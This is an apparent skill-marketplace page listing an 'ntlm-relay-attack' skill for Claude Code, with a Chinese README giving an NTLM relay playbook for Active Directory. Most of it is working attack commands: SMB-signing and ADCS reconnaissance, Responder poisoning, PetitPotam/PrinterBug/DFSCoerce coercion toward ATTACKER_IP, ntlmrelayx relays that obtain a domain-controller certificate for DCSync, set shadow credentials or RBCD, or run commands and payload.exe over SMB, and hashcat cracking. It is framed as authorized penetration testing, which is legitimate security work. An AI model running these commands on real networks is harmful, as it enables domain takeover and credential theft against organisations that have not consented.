mcpField
N
ntlm-relay-attack

ntlm-relay-attack

github.com/wgpsecSecurity1.8k47 installsUpdated 4d ago
Repository

About ntlm-relay-attack

An NTLM relay methodology skill for domain security testing. It covers environment reconnaissance, authentication coercion, and relay target selection, with references to related techniques and tools.

Key features

  1. 01Check SMB signing and ADCS conditions
  2. 02Map triggers, relays, and targets
  3. 03Cover Responder poisoning and coercion
  4. 04Relay to ADCS, LDAP, and SMB
  5. 05List relay and hash-cracking tools

Use cases

  1. 01Assess NTLM relay conditions in a network
  2. 02Plan relay paths for authorized domain testing
  3. 03Choose a relay method for a target service

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ntlm-relay-attack

After installing, type/ntlm-relay-attackin Claude Code to confirm it loaded.

Bundled files

References and scripts installed along with SKILL.md.

evals/
evals.json
references/
coercion-methods.md
relay-techniques.md
responder-config.md
socks-pivoting.md

Details

From the project README

NTLM 中继攻击方法论

NTLM Relay 是域渗透最强大的横向移动技术之一——不需要破解密码,直接将认证请求转发到其他服务器获取访问权限。

⛔ 深入参考(必读)


核心概念

NTLM Relay 三要素:

  1. 触发器(Trigger):让目标机器/用户向攻击者发起 NTLM 认证
  2. 中继器(Relay):将收到的认证请求转发到目标服务
  3. 目标(Target):接受中继认证的服务器

前提条件:目标服务没有启用 SMB 签名(SMB Signing)或 EPA(Extended Protection for Authentication)。

Phase 1: 环境侦察

1.1 检查 SMB 签名
# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机

# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继
1.2 检查 ADCS Web Enrollment
# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板

# 或直接访问
curl -sk https://CA_SERVER/certsrv/

Phase 2: 攻击决策树

有什么条件?
├─ 在内网且有网络接口 → Responder 毒化(被动收集 Hash / 主动中继)
├─ 有域凭据 → 强制认证(PetitPotam/PrinterBug)→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│   ├─ 中继到 LDAP → RBCD / Shadow Credentials
│   └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)

Phase 3: Responder 毒化

# 启动 Responder(关闭 SMB/HTTP 以便 ntlmrelayx 接管)
responder -I eth0 -dwPv

# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解

Phase 4: 强制认证(Coercion)

# PetitPotam(最常用,利用 EfsRpcOpenFileRaw)
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

# PrinterBug(MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP

# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

Phase 5: 中继到不同目标

中继到 ADCS(获取域控证书 → 域管)
# 最强路径:PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync
中继到 LDAP(RBCD / Shadow Credentials)
# Shadow Credentials(推荐,不需要创建计算机账户)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$

# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$
中继到 SMB
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe

→ 完整中继技术细节 → references/relay-techniques.md

工具速查

工具用途
ResponderLLMNR/NBT-NS/mDNS 毒化
ntlmrelayx.pyNTLM 中继核心
PetitPotamEFS 强制认证
printerbug.py打印机强制认证
certipyADCS 证书攻击
hashcat -m 5600NetNTLMv2 破解

Comments

Markdown supported